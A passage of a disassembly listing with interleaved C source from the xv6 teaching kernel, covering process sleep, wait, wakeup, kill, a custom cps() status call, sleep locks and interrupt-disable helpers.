dc 05 00 00 call 80104380 <popcli> if(p == 0) 80103da4: 85 db test %ebx,%ebx 80103da6: 0f 84 87 00 00 00 je 80103e33 <sleep+0xb3> if(lk == 0) 80103dac: 85 f6 test %esi,%esi 80103dae: 74 76 je 80103e26 <sleep+0xa6> if(lk != &ptable.lock){ //DOC: sleeplock0 80103db0: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103db6: 74 50 je 80103e08 <sleep+0x88> acquire(&ptable.lock); //DOC: sleeplock1 80103db8: 83 ec 0c sub $0xc,%esp 80103dbb: 68 20 2d 11 80 push $0x80112d20 80103dc0: e8 4b 06 00 00 call 80104410 <acquire> release(lk); 80103dc5: 89 34 24 mov %esi,(%esp) 80103dc8: e8 03 07 00 00 call 801044d0 <release> p->chan = chan; 80103dcd: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103dd0: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103dd7: e8 64 fd ff ff call 80103b40 <sched> p->chan = 0; 80103ddc: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103de3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103dea: e8 e1 06 00 00 call 801044d0 <release> acquire(lk); 80103def: 89 75 08 mov %esi,0x8(%ebp) 80103df2: 83 c4 10 add $0x10,%esp } 80103df5: 8d 65 f4 lea -0xc(%ebp),%esp 80103df8: 5b pop %ebx 80103df9: 5e pop %esi 80103dfa: 5f pop %edi 80103dfb: 5d pop %ebp acquire(lk); 80103dfc: e9 0f 06 00 00 jmp 80104410 <acquire> 80103e01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi p->chan = chan; 80103e08: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103e0b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103e12: e8 29 fd ff ff call 80103b40 <sched> p->chan = 0; 80103e17: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103e1e: 8d 65 f4 lea -0xc(%ebp),%esp 80103e21: 5b pop %ebx 80103e22: 5e pop %esi 80103e23: 5f pop %edi 80103e24: 5d pop %ebp 80103e25: c3 ret panic("sleep without lk"); 80103e26: 83 ec 0c sub $0xc,%esp 80103e29: 68 cf 75 10 80 push $0x801075cf 80103e2e: e8 5d c5 ff ff call 80100390 <panic> panic("sleep"); 80103e33: 83 ec 0c sub $0xc,%esp 80103e36: 68 c9 75 10 80 push $0x801075c9 80103e3b: e8 50 c5 ff ff call 80100390 <panic> 80103e40 <wait>: { 80103e40: 55 push %ebp 80103e41: 89 e5 mov %esp,%ebp 80103e43: 56 push %esi 80103e44: 53 push %ebx pushcli(); 80103e45: e8 f6 04 00 00 call 80104340 <pushcli> c = mycpu(); 80103e4a: e8 f1 f8 ff ff call 80103740 <mycpu> p = c->proc; 80103e4f: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103e55: e8 26 05 00 00 call 80104380 <popcli> acquire(&ptable.lock); 80103e5a: 83 ec 0c sub $0xc,%esp 80103e5d: 68 20 2d 11 80 push $0x80112d20 80103e62: e8 a9 05 00 00 call 80104410 <acquire> 80103e67: 83 c4 10 add $0x10,%esp havekids = 0; 80103e6a: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e6c: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103e71: eb 10 jmp 80103e83 <wait+0x43> 80103e73: 90 nop 80103e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103e78: 83 c3 7c add $0x7c,%ebx 80103e7b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103e81: 73 1b jae 80103e9e <wait+0x5e> if(p->parent != curproc) 80103e83: 39 73 14 cmp %esi,0x14(%ebx) 80103e86: 75 f0 jne 80103e78 <wait+0x38> if(p->state == ZOMBIE){ 80103e88: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103e8c: 74 32 je 80103ec0 <wait+0x80> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e8e: 83 c3 7c add $0x7c,%ebx havekids = 1; 80103e91: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e96: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103e9c: 72 e5 jb 80103e83 <wait+0x43> if(!havekids || curproc->killed){ 80103e9e: 85 c0 test %eax,%eax 80103ea0: 74 74 je 80103f16 <wait+0xd6> 80103ea2: 8b 46 24 mov 0x24(%esi),%eax 80103ea5: 85 c0 test %eax,%eax 80103ea7: 75 6d jne 80103f16 <wait+0xd6> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103ea9: 83 ec 08 sub $0x8,%esp 80103eac: 68 20 2d 11 80 push $0x80112d20 80103eb1: 56 push %esi 80103eb2: e8 c9 fe ff ff call 80103d80 <sleep> havekids = 0; 80103eb7: 83 c4 10 add $0x10,%esp 80103eba: eb ae jmp 80103e6a <wait+0x2a> 80103ebc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(p->kstack); 80103ec0: 83 ec 0c sub $0xc,%esp 80103ec3: ff 73 08 pushl 0x8(%ebx) pid = p->pid; 80103ec6: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103ec9: e8 42 e4 ff ff call 80102310 <kfree> freevm(p->pgdir); 80103ece: 5a pop %edx 80103ecf: ff 73 04 pushl 0x4(%ebx) p->kstack = 0; 80103ed2: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103ed9: e8 d2 2d 00 00 call 80106cb0 <freevm> release(&ptable.lock); 80103ede: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103ee5: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103eec: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103ef3: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103ef7: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103efe: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103f05: e8 c6 05 00 00 call 801044d0 <release> return pid; 80103f0a: 83 c4 10 add $0x10,%esp } 80103f0d: 8d 65 f8 lea -0x8(%ebp),%esp 80103f10: 89 f0 mov %esi,%eax 80103f12: 5b pop %ebx 80103f13: 5e pop %esi 80103f14: 5d pop %ebp 80103f15: c3 ret release(&ptable.lock); 80103f16: 83 ec 0c sub $0xc,%esp return -1; 80103f19: be ff ff ff ff mov $0xffffffff,%esi release(&ptable.lock); 80103f1e: 68 20 2d 11 80 push $0x80112d20 80103f23: e8 a8 05 00 00 call 801044d0 <release> return -1; 80103f28: 83 c4 10 add $0x10,%esp 80103f2b: eb e0 jmp 80103f0d <wait+0xcd> 80103f2d: 8d 76 00 lea 0x0(%esi),%esi 80103f30 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103f30: 55 push %ebp 80103f31: 89 e5 mov %esp,%ebp 80103f33: 53 push %ebx 80103f34: 83 ec 10 sub $0x10,%esp 80103f37: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103f3a: 68 20 2d 11 80 push $0x80112d20 80103f3f: e8 cc 04 00 00 call 80104410 <acquire> 80103f44: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f47: b8 54 2d 11 80 mov $0x80112d54,%eax 80103f4c: eb 0c jmp 80103f5a <wakeup+0x2a> 80103f4e: 66 90 xchg %ax,%ax 80103f50: 83 c0 7c add $0x7c,%eax 80103f53: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103f58: 73 1c jae 80103f76 <wakeup+0x46> if(p->state == SLEEPING && p->chan == chan) 80103f5a: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103f5e: 75 f0 jne 80103f50 <wakeup+0x20> 80103f60: 3b 58 20 cmp 0x20(%eax),%ebx 80103f63: 75 eb jne 80103f50 <wakeup+0x20> p->state = RUNNABLE; 80103f65: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f6c: 83 c0 7c add $0x7c,%eax 80103f6f: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103f74: 72 e4 jb 80103f5a <wakeup+0x2a> wakeup1(chan); release(&ptable.lock); 80103f76: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103f7d: 8b 5d fc mov -0x4(%ebp),%ebx 80103f80: c9 leave release(&ptable.lock); 80103f81: e9 4a 05 00 00 jmp 801044d0 <release> 80103f86: 8d 76 00 lea 0x0(%esi),%esi 80103f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f90 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103f90: 55 push %ebp 80103f91: 89 e5 mov %esp,%ebp 80103f93: 53 push %ebx 80103f94: 83 ec 10 sub $0x10,%esp 80103f97: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103f9a: 68 20 2d 11 80 push $0x80112d20 80103f9f: e8 6c 04 00 00 call 80104410 <acquire> 80103fa4: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103fa7: b8 54 2d 11 80 mov $0x80112d54,%eax 80103fac: eb 0c jmp 80103fba <kill+0x2a> 80103fae: 66 90 xchg %ax,%ax 80103fb0: 83 c0 7c add $0x7c,%eax 80103fb3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103fb8: 73 36 jae 80103ff0 <kill+0x60> if(p->pid == pid){ 80103fba: 39 58 10 cmp %ebx,0x10(%eax) 80103fbd: 75 f1 jne 80103fb0 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103fbf: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103fc3: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103fca: 75 07 jne 80103fd3 <kill+0x43> p->state = RUNNABLE; 80103fcc: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 80103fd3: 83 ec 0c sub $0xc,%esp 80103fd6: 68 20 2d 11 80 push $0x80112d20 80103fdb: e8 f0 04 00 00 call 801044d0 <release> return 0; 80103fe0: 83 c4 10 add $0x10,%esp 80103fe3: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 80103fe5: 8b 5d fc mov -0x4(%ebp),%ebx 80103fe8: c9 leave 80103fe9: c3 ret 80103fea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&ptable.lock); 80103ff0: 83 ec 0c sub $0xc,%esp 80103ff3: 68 20 2d 11 80 push $0x80112d20 80103ff8: e8 d3 04 00 00 call 801044d0 <release> return -1; 80103ffd: 83 c4 10 add $0x10,%esp 80104000: b8 ff ff ff ff mov $0xffffffff,%eax } 80104005: 8b 5d fc mov -0x4(%ebp),%ebx 80104008: c9 leave 80104009: c3 ret 8010400a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104010 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80104010: 55 push %ebp 80104011: 89 e5 mov %esp,%ebp 80104013: 57 push %edi 80104014: 56 push %esi 80104015: 53 push %ebx 80104016: 8d 75 e8 lea -0x18(%ebp),%esi int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104019: bb 54 2d 11 80 mov $0x80112d54,%ebx { 8010401e: 83 ec 3c sub $0x3c,%esp 80104021: eb 24 jmp 80104047 <procdump+0x37> 80104023: 90 nop 80104024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80104028: 83 ec 0c sub $0xc,%esp 8010402b: 68 43 76 10 80 push $0x80107643 80104030: e8 2b c6 ff ff call 80100660 <cprintf> 80104035: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104038: 83 c3 7c add $0x7c,%ebx 8010403b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80104041: 0f 83 81 00 00 00 jae 801040c8 <procdump+0xb8> if(p->state == UNUSED) 80104047: 8b 43 0c mov 0xc(%ebx),%eax 8010404a: 85 c0 test %eax,%eax 8010404c: 74 ea je 80104038 <procdump+0x28> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8010404e: 83 f8 05 cmp $0x5,%eax state = "???"; 80104051: ba e0 75 10 80 mov $0x801075e0,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104056: 77 11 ja 80104069 <procdump+0x59> 80104058: 8b 14 85 98 76 10 80 mov -0x7fef8968(,%eax,4),%edx state = "???"; 8010405f: b8 e0 75 10 80 mov $0x801075e0,%eax 80104064: 85 d2 test %edx,%edx 80104066: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80104069: 8d 43 6c lea 0x6c(%ebx),%eax 8010406c: 50 push %eax 8010406d: 52 push %edx 8010406e: ff 73 10 pushl 0x10(%ebx) 80104071: 68 e4 75 10 80 push $0x801075e4 80104076: e8 e5 c5 ff ff call 80100660 <cprintf> if(p->state == SLEEPING){ 8010407b: 83 c4 10 add $0x10,%esp 8010407e: 83 7b 0c 02 cmpl $0x2,0xc(%ebx) 80104082: 75 a4 jne 80104028 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80104084: 8d 45 c0 lea -0x40(%ebp),%eax 80104087: 83 ec 08 sub $0x8,%esp 8010408a: 8d 7d c0 lea -0x40(%ebp),%edi 8010408d: 50 push %eax 8010408e: 8b 43 1c mov 0x1c(%ebx),%eax 80104091: 8b 40 0c mov 0xc(%eax),%eax 80104094: 83 c0 08 add $0x8,%eax 80104097: 50 push %eax 80104098: e8 53 02 00 00 call 801042f0 <getcallerpcs> 8010409d: 83 c4 10 add $0x10,%esp for(i=0; i<10 && pc[i] != 0; i++) 801040a0: 8b 17 mov (%edi),%edx 801040a2: 85 d2 test %edx,%edx 801040a4: 74 82 je 80104028 <procdump+0x18> cprintf(" %p", pc[i]); 801040a6: 83 ec 08 sub $0x8,%esp 801040a9: 83 c7 04 add $0x4,%edi 801040ac: 52 push %edx 801040ad: 68 21 70 10 80 push $0x80107021 801040b2: e8 a9 c5 ff ff call 80100660 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 801040b7: 83 c4 10 add $0x10,%esp 801040ba: 39 fe cmp %edi,%esi 801040bc: 75 e2 jne 801040a0 <procdump+0x90> 801040be: e9 65 ff ff ff jmp 80104028 <procdump+0x18> 801040c3: 90 nop 801040c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } 801040c8: 8d 65 f4 lea -0xc(%ebp),%esp 801040cb: 5b pop %ebx 801040cc: 5e pop %esi 801040cd: 5f pop %edi 801040ce: 5d pop %ebp 801040cf: c3 ret 801040d0 <cps>: //current process status int cps() { 801040d0: 55 push %ebp 801040d1: 89 e5 mov %esp,%ebp 801040d3: 53 push %ebx 801040d4: 83 ec 10 sub $0x10,%esp asm volatile("sti"); 801040d7: fb sti sti(); //Loop over process table looking for process with pid acquire (&ptable.lock); 801040d8: 68 20 2d 11 80 push $0x80112d20 cprintf("name\t pid\t state\t \n"); for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){ 801040dd: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire (&ptable.lock); 801040e2: e8 29 03 00 00 call 80104410 <acquire> cprintf("name\t pid\t state\t \n"); 801040e7: c7 04 24 ed 75 10 80 movl $0x801075ed,(%esp) 801040ee: e8 6d c5 ff ff call 80100660 <cprintf> 801040f3: 83 c4 10 add $0x10,%esp 801040f6: eb 1d jmp 80104115 <cps+0x45> 801040f8: 90 nop 801040f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (p->state == SLEEPING) cprintf("%s \t %d \t SLEEPING \t \n", p->name, p->pid); else if(p->state == RUNNING) 80104100: 83 f8 04 cmp $0x4,%eax 80104103: 74 5b je 80104160 <cps+0x90> cprintf("%s \t %d \t RUNNING \t \n", p->name, p->pid); else if(p->state == RUNNABLE) 80104105: 83 f8 03 cmp $0x3,%eax 80104108: 74 76 je 80104180 <cps+0xb0> for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){ 8010410a: 83 c3 7c add $0x7c,%ebx 8010410d: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80104113: 73 2a jae 8010413f <cps+0x6f> if (p->state == SLEEPING) 80104115: 8b 43 0c mov 0xc(%ebx),%eax 80104118: 83 f8 02 cmp $0x2,%eax 8010411b: 75 e3 jne 80104100 <cps+0x30> cprintf("%s \t %d \t SLEEPING \t \n", p->name, p->pid); 8010411d: 8d 43 6c lea 0x6c(%ebx),%eax 80104120: 83 ec 04 sub $0x4,%esp 80104123: ff 73 10 pushl 0x10(%ebx) for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){ 80104126: 83 c3 7c add $0x7c,%ebx cprintf("%s \t %d \t SLEEPING \t \n", p->name, p->pid); 80104129: 50 push %eax 8010412a: 68 01 76 10 80 push $0x80107601 8010412f: e8 2c c5 ff ff call 80100660 <cprintf> 80104134: 83 c4 10 add $0x10,%esp for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){ 80104137: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 8010413d: 72 d6 jb 80104115 <cps+0x45> cprintf("%s \t %d \t RUNNABLE \t \n", p->name, p->pid); } release (&ptable.lock); 8010413f: 83 ec 0c sub $0xc,%esp 80104142: 68 20 2d 11 80 push $0x80112d20 80104147: e8 84 03 00 00 call 801044d0 <release> return 22; } 8010414c: b8 16 00 00 00 mov $0x16,%eax 80104151: 8b 5d fc mov -0x4(%ebp),%ebx 80104154: c9 leave 80104155: c3 ret 80104156: 8d 76 00 lea 0x0(%esi),%esi 80104159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi cprintf("%s \t %d \t RUNNING \t \n", p->name, p->pid); 80104160: 8d 43 6c lea 0x6c(%ebx),%eax 80104163: 83 ec 04 sub $0x4,%esp 80104166: ff 73 10 pushl 0x10(%ebx) 80104169: 50 push %eax 8010416a: 68 18 76 10 80 push $0x80107618 8010416f: e8 ec c4 ff ff call 80100660 <cprintf> 80104174: 83 c4 10 add $0x10,%esp 80104177: eb 91 jmp 8010410a <cps+0x3a> 80104179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%s \t %d \t RUNNABLE \t \n", p->name, p->pid); 80104180: 8d 43 6c lea 0x6c(%ebx),%eax 80104183: 83 ec 04 sub $0x4,%esp 80104186: ff 73 10 pushl 0x10(%ebx) 80104189: 50 push %eax 8010418a: 68 2e 76 10 80 push $0x8010762e 8010418f: e8 cc c4 ff ff call 80100660 <cprintf> 80104194: 83 c4 10 add $0x10,%esp 80104197: e9 6e ff ff ff jmp 8010410a <cps+0x3a> 8010419c: 66 90 xchg %ax,%ax 8010419e: 66 90 xchg %ax,%ax 801041a0 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 801041a0: 55 push %ebp 801041a1: 89 e5 mov %esp,%ebp 801041a3: 53 push %ebx 801041a4: 83 ec 0c sub $0xc,%esp 801041a7: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 801041aa: 68 b0 76 10 80 push $0x801076b0 801041af: 8d 43 04 lea 0x4(%ebx),%eax 801041b2: 50 push %eax 801041b3: e8 18 01 00 00 call 801042d0 <initlock> lk->name = name; 801041b8: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 801041bb: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 801041c1: 83 c4 10 add $0x10,%esp lk->pid = 0; 801041c4: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 801041cb: 89 43 38 mov %eax,0x38(%ebx) } 801041ce: 8b 5d fc mov -0x4(%ebp),%ebx 801041d1: c9 leave 801041d2: c3 ret 801041d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041e0 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 56 push %esi 801041e4: 53 push %ebx 801041e5: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 801041e8: 83 ec 0c sub $0xc,%esp 801041eb: 8d 73 04 lea 0x4(%ebx),%esi 801041ee: 56 push %esi 801041ef: e8 1c 02 00 00 call 80104410 <acquire> while (lk->locked) { 801041f4: 8b 13 mov (%ebx),%edx 801041f6: 83 c4 10 add $0x10,%esp 801041f9: 85 d2 test %edx,%edx 801041fb: 74 16 je 80104213 <acquiresleep+0x33> 801041fd: 8d 76 00 lea 0x0(%esi),%esi sleep(lk, &lk->lk); 80104200: 83 ec 08 sub $0x8,%esp 80104203: 56 push %esi 80104204: 53 push %ebx 80104205: e8 76 fb ff ff call 80103d80 <sleep> while (lk->locked) { 8010420a: 8b 03 mov (%ebx),%eax 8010420c: 83 c4 10 add $0x10,%esp 8010420f: 85 c0 test %eax,%eax 80104211: 75 ed jne 80104200 <acquiresleep+0x20> } lk->locked = 1; 80104213: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104219: e8 c2 f5 ff ff call 801037e0 <myproc> 8010421e: 8b 40 10 mov 0x10(%eax),%eax 80104221: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104224: 89 75 08 mov %esi,0x8(%ebp) } 80104227: 8d 65 f8 lea -0x8(%ebp),%esp 8010422a: 5b pop %ebx 8010422b: 5e pop %esi 8010422c: 5d pop %ebp release(&lk->lk); 8010422d: e9 9e 02 00 00 jmp 801044d0 <release> 80104232: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104240 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80104240: 55 push %ebp 80104241: 89 e5 mov %esp,%ebp 80104243: 56 push %esi 80104244: 53 push %ebx 80104245: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104248: 83 ec 0c sub $0xc,%esp 8010424b: 8d 73 04 lea 0x4(%ebx),%esi 8010424e: 56 push %esi 8010424f: e8 bc 01 00 00 call 80104410 <acquire> lk->locked = 0; 80104254: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010425a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104261: 89 1c 24 mov %ebx,(%esp) 80104264: e8 c7 fc ff ff call 80103f30 <wakeup> release(&lk->lk); 80104269: 89 75 08 mov %esi,0x8(%ebp) 8010426c: 83 c4 10 add $0x10,%esp } 8010426f: 8d 65 f8 lea -0x8(%ebp),%esp 80104272: 5b pop %ebx 80104273: 5e pop %esi 80104274: 5d pop %ebp release(&lk->lk); 80104275: e9 56 02 00 00 jmp 801044d0 <release> 8010427a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104280 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104280: 55 push %ebp 80104281: 89 e5 mov %esp,%ebp 80104283: 57 push %edi 80104284: 56 push %esi 80104285: 53 push %ebx 80104286: 31 ff xor %edi,%edi 80104288: 83 ec 18 sub $0x18,%esp 8010428b: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010428e: 8d 73 04 lea 0x4(%ebx),%esi 80104291: 56 push %esi 80104292: e8 79 01 00 00 call 80104410 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 80104297: 8b 03 mov (%ebx),%eax 80104299: 83 c4 10 add $0x10,%esp 8010429c: 85 c0 test %eax,%eax 8010429e: 74 13 je 801042b3 <holdingsleep+0x33> 801042a0: 8b 5b 3c mov 0x3c(%ebx),%ebx 801042a3: e8 38 f5 ff ff call 801037e0 <myproc> 801042a8: 39 58 10 cmp %ebx,0x10(%eax) 801042ab: 0f 94 c0 sete %al 801042ae: 0f b6 c0 movzbl %al,%eax 801042b1: 89 c7 mov %eax,%edi release(&lk->lk); 801042b3: 83 ec 0c sub $0xc,%esp 801042b6: 56 push %esi 801042b7: e8 14 02 00 00 call 801044d0 <release> return r; } 801042bc: 8d 65 f4 lea -0xc(%ebp),%esp 801042bf: 89 f8 mov %edi,%eax 801042c1: 5b pop %ebx 801042c2: 5e pop %esi 801042c3: 5f pop %edi 801042c4: 5d pop %ebp 801042c5: c3 ret 801042c6: 66 90 xchg %ax,%ax 801042c8: 66 90 xchg %ax,%ax 801042ca: 66 90 xchg %ax,%ax 801042cc: 66 90 xchg %ax,%ax 801042ce: 66 90 xchg %ax,%ax 801042d0 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 801042d0: 55 push %ebp 801042d1: 89 e5 mov %esp,%ebp 801042d3: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 801042d6: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 801042d9: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 801042df: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 801042e2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 801042e9: 5d pop %ebp 801042ea: c3 ret 801042eb: 90 nop 801042ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042f0 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 801042f0: 55 push %ebp uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801042f1: 31 d2 xor %edx,%edx { 801042f3: 89 e5 mov %esp,%ebp 801042f5: 53 push %ebx ebp = (uint*)v - 2; 801042f6: 8b 45 08 mov 0x8(%ebp),%eax { 801042f9: 8b 4d 0c mov 0xc(%ebp),%ecx ebp = (uint*)v - 2; 801042fc: 83 e8 08 sub $0x8,%eax 801042ff: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104300: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx 80104306: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010430c: 77 1a ja 80104328 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010430e: 8b 58 04 mov 0x4(%eax),%ebx 80104311: 89 1c 91 mov %ebx,(%ecx,%edx,4) for(i = 0; i < 10; i++){ 80104314: 83 c2 01 add $0x1,%edx ebp = (uint*)ebp[0]; // saved %ebp 80104317: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104319: 83 fa 0a cmp $0xa,%edx 8010431c: 75 e2 jne 80104300 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 8010431e: 5b pop %ebx 8010431f: 5d pop %ebp 80104320: c3 ret 80104321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104328: 8d 04 91 lea (%ecx,%edx,4),%eax 8010432b: 83 c1 28 add $0x28,%ecx 8010432e: 66 90 xchg %ax,%ax pcs[i] = 0; 80104330: c7 00 00 00 00 00 movl $0x0,(%eax) 80104336: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 80104339: 39 c1 cmp %eax,%ecx 8010433b: 75 f3 jne 80104330 <getcallerpcs+0x40> } 8010433d: 5b pop %ebx 8010433e: 5d pop %ebp 8010433f: c3 ret 80104340 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104340: 55 push %ebp 80104341: 89 e5 mov %esp,%ebp 80104343: 53 push %ebx 80104344: 83 ec 04 sub $0x4,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104347: 9c pushf 80104348: 5b pop %ebx asm volatile("cli"); 80104349: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010434a: e8 f1 f3 ff ff call 80103740 <mycpu> 8010434f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104355: 85 c0 test %eax,%eax 80104357: 75 11 jne 8010436a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104359: 81 e3 00 02 00 00 and $0x200,%ebx 8010435f: e8 dc f3 ff ff call 80103740 <mycpu> 80104364: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010436a: e8 d1 f3 ff ff call 80103740 <mycpu> 8010436f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104376: 83 c4 04 add $0x4,%esp 80104379: 5b pop %ebx 8010437a: 5d pop %ebp 8010437b: c3 ret 8010437c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104380 <popcli>: void popcli(void) { 80104380: 55 push %ebp 80104381: 89 e5 mov %esp,%ebp 80104383: 83 ec 08 sub $0x8,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104386: 9c pushf 80104387: 58 pop %eax if(readeflags()&FL_IF) 80104388: f6 c4 02 test 